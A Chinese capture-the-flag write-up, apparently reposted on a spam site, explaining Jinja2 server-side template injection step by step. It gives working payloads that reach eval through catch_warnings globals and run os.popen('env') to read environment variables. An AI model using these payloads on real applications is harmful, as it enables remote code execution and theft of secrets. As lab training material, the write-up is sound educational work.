当前位置: 首页 > news >正文

网站建设平台分析微博登录网站开发

网站建设平台分析,微博登录网站开发,网站如何选择关键词,哈尔滨建筑工程招聘信息声明:本篇文章csdn要我一天发两篇所以我来水的 跟ssti注入的详细知识我这里写了 https://blog.csdn.net/weixin_74790320/article/details/136154130 上面链接我复现了vulhub的SSTI,其实本质上是一道题 然后我们就用{{.__class__}}看类的类型&#xf…

声明:本篇文章csdn要我一天发两篇所以我来水的

跟ssti注入的详细知识我这里写了

https://blog.csdn.net/weixin_74790320/article/details/136154130

上面链接我复现了vulhub的SSTI,其实本质上是一道题

然后我们就用{{''.__class__}}看类的类型,但是无所谓,啥类型都可以,因为我们要找到的是他的基类,然后通过基类去找子类

{{''.__class__.__base__}}找到基类

然后找子类

然后在子类中找到catch_warnings这个类,然后去这个类的全局变量里面找到eval,

所以就可以命令执行,然后flag在env环境变量里面

手工payload:

 1.先获取类

payload:

{{''.__class__}}

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

2.获取基类

payload:

{{''.__class__.__bases__}}

3.获取基类的所有子类

payload:

{{''.__class__.__base__.__subclasses__()}}

4.找所有存在eval的类

{{''.__class__.__base__.__subclasses__()[166]}}

这里官方给了一个方向是catch_warnings类

然后我大概搞了一下,这个类在第167个,但是下标从0开始就是166个

5.选中这个类

先声明一下下面的网址有时候有点变化的原因是我也在搞buuctf的这个ssti,跟我靶机有点没分开就是我人晕了,但是没有影响,重要的是对name参数的注入

格式都是?name+payload

payload:

{{%27%27.__class__.__base__.__subclasses__()[166]}}

6.在这个类中找他的初始化函数里面的所有全局变量

然后看看这里面有没有危险函数eval

payload:

{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}

存在eval


然后我们怎么选择eval函数呢???
{}这种大括号


别问我为什么没有右括号,我视力不好没看到在哪,反正他被'__builtins__'这一个键里面的{}号包围了
所以怎么选择呢?那就是
['__builtins__']['eval']

找到危险函数那就是最后的代码执行阶段了

原本代码执行这么写eval('__import__("os").popen("env").read()')

那已经选中了eval是不是右边加上('__import__("os").popen("env").read()')这一部分就好了!!!

7.代码执行

payload:

?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}

因为是buuctf的题所以我直接干出flag了,flag在环境变量里,所以意思就是我们只要代码执行env获取环境变量就好了

你自己玩的时候可以试下whoami,也是可以的

官方payload:

后面遍历需要代码跑一遍

{%code%}这里是代码的意思在ssti里面

payload:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("env").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

解释在我上面的链接中

然后就可以看到flag了

flag{2108fec7-53f1-4e60-b65f-9ae1f959d501}


http://www.yayakq.cn/news/148375/

相关文章:

  • 网站名称和网址邢台做网站可信赖
  • 好用心 做网站送女友田贝网站建设
  • 黑龙江省城乡建设厅网站首页东莞公司建站哪个更便宜
  • 南山做网站联系电话企业网络推广方案的制定
  • 做区块链好的网站推广 高端网站建设
  • 网站每天做100个外链网站费用计入什么科目
  • 福州制作手机网站深圳企业网站制作哪个
  • 网站规划与设计课程设计广州软文推广公司
  • 国开网站怎么做网级移动营销app
  • 昆山网站设计哪家好公司名字设计
  • 网站icp备案证明美团网网站建设分析
  • ASP网站开发步骤与过程wordpress获取ssl证书
  • 自己可以做一个网站吗青岛网络推广方案服务
  • 西安知名网站建设公司排名百度如何发布信息推广
  • wordpress网站关键词手工灯笼简单又好看
  • 网站更换服务器广州网站建设需要多少钱
  • 视觉传达毕业设计作品网站5 电子商务网站建设的步骤
  • 秀山网站建免费素材网有哪些
  • 上海网站编辑招聘网站建设仟金手指专业15
  • 湖北建设注册中心网站wordpress文章列表分页代码
  • 建设个人网站详细点做网站后台指的那
  • 盐城网站建设报价做招聘网站需要哪些手续
  • 心连网网站永州网站制作
  • 潍坊医院网站建设怎样在赶集微网站做微招聘信息
  • phpcms 网站打不开南阳网站搭建
  • html5酷炫网站网站建设如果没有源代码
  • 手机网站一般宽度做多大的陕西省住房和城乡建设厅综合服务网站
  • 邢台做网站备案青岛做网站排名
  • 当地网站建设问卷调查成都网站快速排名提升
  • 陕西交通建设集团网站我要做网站推广